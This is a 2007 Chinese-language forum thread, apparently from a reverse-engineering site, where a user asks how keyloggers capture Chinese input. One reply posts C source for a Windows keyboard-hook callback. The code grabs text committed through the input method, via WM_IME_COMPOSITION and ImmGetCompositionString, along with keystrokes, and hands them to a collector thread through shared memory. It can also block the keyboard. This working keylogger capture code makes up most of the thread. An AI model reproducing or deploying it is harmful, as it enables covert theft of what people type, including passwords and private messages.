首页
社区
课程
招聘
关于 键盘记录器[讨论]
发表于: 2007-1-4 00:16 4906

关于 键盘记录器[讨论]

2007-1-4 00:16
4906
请教大家        键盘记录器 是怎么记录 汉字的

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (7)
雪    币: 415
活跃值: (34)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
我的意思.程序只记录按键和字元.是不是汉字得经过进一步加工.
2007-1-4 01:30
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
大哥 大姐  救救我啊
2007-1-5 14:54
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
汉字不属于消息
2007-1-5 16:39
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
可以通过记录按键次序
接收后再判断是符合哪些汉字
这样不就可以记录下来了么?
直接记录汉字  好像不可能
2007-1-5 17:13
0
雪    币: 243
活跃值: (169)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
/*--------------------------键盘钩子回调函数定义[支持中文]--------------------------------*/
LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam){
  HIMC hIMC;
  HWND hWnd;
  char *pCNString;
  LRESULT lResult = CallNextHookEx(KBhookCn, nCode, wParam, lParam);
  PMSG pmsg = (PMSG)lParam;
  hWnd=pmsg->hwnd;
  if(nCode != HC_ACTION) return 0;
  HANDLE hThreadid=OpenFileMapping(FILE_MAP_WRITE,false,"Threadid");
  if(hThreadid){
     int *pThreadid=(int *)MapViewOfFile(hThreadid,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
     if(pThreadid) KBthreadid=*pThreadid;
     }
  else MessageBox(NULL,"no find threadid","no",MB_OK);
  /* this code from ZWELL 获得输入法处理后的字符串 */
  ///*
  if(pmsg->message==WM_IME_COMPOSITION){
            /*MessageBox(NULL,"get it cn","sdf",MB_OK);*/
            HANDLE hCNString=OpenFileMapping(FILE_MAP_WRITE,false,"CNString");
            if(hCNString) pCNString=(char *)MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
            else return 0;
            if(pCNString==NULL) {/*MessageBox(NULL,"no cn","ff",MB_OK);*/return 0;}
            DWORD dwSize;
            char lpstr[128];
            if(pmsg->lParam & GCS_RESULTSTR){
                 //先获取当前正在输入的窗口的输入法句柄
                 hIMC = ImmGetContext(hWnd);
                 if(!hIMC)  return 0;
                 // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                 dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
                 // 缓冲区大小要加上字符串的NULL结束符大小,
                 // 考虑到UNICODE
                 dwSize += sizeof(WCHAR);
                 memset(lpstr, 0, sizeof(lpstr));
                 // 再调用一次.ImmGetCompositionString获取字符串
                 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
                 //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
                 //MessageBox(NULL, lpstr, lpstr, MB_OK);
                 strncpy(pCNString,lpstr,sizeof(lpstr));
                 ImmReleaseContext(hWnd, hIMC);
                 PostThreadMessage(KBthreadid,WM_KEYHOOK_CN_EN,wParam,lParam);         //向线程发送消息
                 }
             //if (pCNString) UnmapViewOfFile(pCNString);
             //if (hCNString) CloseHandle(hCNString);
            }
  //*/
  /* code from ZWELL end */
  if(pmsg->message==WM_CHAR||pmsg->message==WM_KEYDOWN){
            if(pmsg->message==WM_KEYDOWN){
               unsigned char ch=(unsigned char)(pmsg->wParam);
               if((ch>=0x21&&ch<=0x28)||(ch>=0x70&&ch<=0x7b)||ch==0x2d||ch==0x2e||ch==0x5b);
               else return 0;
               }
            //        WM_CHAR对应可显示字符键的消息,WM_KEYDOWN对应控制键消息
            /*
            if(ImmIsIME(GetKeyboardLayout(0))){                       //判断中文输入法
              if((unsigned char)(pmsg->wParam)>0x7F){
                //MessageBox(NULL,"quit","char",MB_OK);
                return 0;
                }
              }
            strncpy(pCNString,(char *)&(pmsg->wParam),1);
            */
            lParam=pmsg->lParam;//扫描吗
            wParam=pmsg->wParam;//虚拟码
            char str[20]={0};
            sprintf(str,"0x=%x",(unsigned char)pmsg->wParam);
            //MessageBox(NULL,str,"char",MB_OK);
            PostThreadMessage(KBthreadid,WM_KEYHOOK_CN,wParam,lParam);         //向线程发送消息
            }
  if(DisableKB) return 1;
  return 0;
}
2007-1-5 20:34
0
雪    币: 117
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
楼上的强人。
2007-1-5 23:11
0
雪    币: 214
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
我也头疼这个问题,谢谢楼上的...
2007-1-6 00:07
0
游客
登录 | 注册 方可回帖
返回
//